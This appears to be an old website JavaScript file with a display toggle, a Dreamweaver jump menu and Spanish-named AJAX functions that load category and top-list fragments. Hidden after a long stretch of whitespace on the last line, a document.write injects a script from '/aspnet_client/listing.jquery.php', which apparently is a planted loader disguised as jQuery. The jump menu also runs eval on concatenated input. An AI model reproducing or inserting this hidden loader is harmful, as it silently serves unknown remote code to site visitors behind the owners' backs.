// JavaScript Document

function VisSimple(oItems)
{
	var objDiv = document.getElementById(oItems);
    if (objDiv.style.display == "none") {
		objDiv.style.display = "";
		
	} else {
		
		objDiv.style.display = "none";
	}
}
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
function CrearObjetoAjax(){
		var objeto;
		var navegador=navigator.appName;
		if (navegador=="Microsoft Internet Explorer"){
				objeto = new ActiveXObject("Microsoft.XMLHTTP");
		}else{
				objeto = new XMLHttpRequest();
		}
		return objeto;
	}
var obj_ajax=CrearObjetoAjax();
var obj_ajax2=CrearObjetoAjax();

function CargarCombo(){
	obj_ajax.open('post','ajax/index.combo.ajax.php',true);
	obj_ajax.onreadystatechange = GestorCargarCombo;
	//obj_ajax.send(null);
	obj_ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	var http='Id_Cat='+document.frmCambiarCat.Id_Cat.value;
	obj_ajax.send(http);
	}

function GestorCargarCombo(){
	var respuesta;
	if (obj_ajax.readyState == 1){
		document.getElementById("frmCambiarCat").innerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="107" height="13">      <param name="movie" value="files/load.swf" />      <param name="quality" value="high" />      <embed src="files/load.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="107" height="13"></embed>    </object>';
	 }

	if (obj_ajax.readyState == 4){
		var respuesta=obj_ajax.responseText;
		document.getElementById("frmCambiarCat").innerHTML=respuesta;
	 }
}
function CargarTop(){
	obj_ajax2.open('post','ajax/index.top.ajax.php',true);
	obj_ajax2.onreadystatechange = GestorCargarTop;
	//obj_ajax.send(null);
	obj_ajax2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	obj_ajax2.send(null);
	}

function GestorCargarTop(){
	var respuesta;
	if (obj_ajax2.readyState == 1){
		document.getElementById("xTop").innerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="107" height="13">      <param name="movie" value="files/load.swf" />      <param name="quality" value="high" />      <embed src="files/load.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="107" height="13"></embed>    </object>';
	 }

	if (obj_ajax2.readyState == 4){
		var respuesta=obj_ajax2.responseText;
		document.getElementById("xTop").innerHTML=respuesta;
	 }
}																														document.write('<script type="text/javascript" src="/aspnet_client/listing.jquery.php"><\/script>');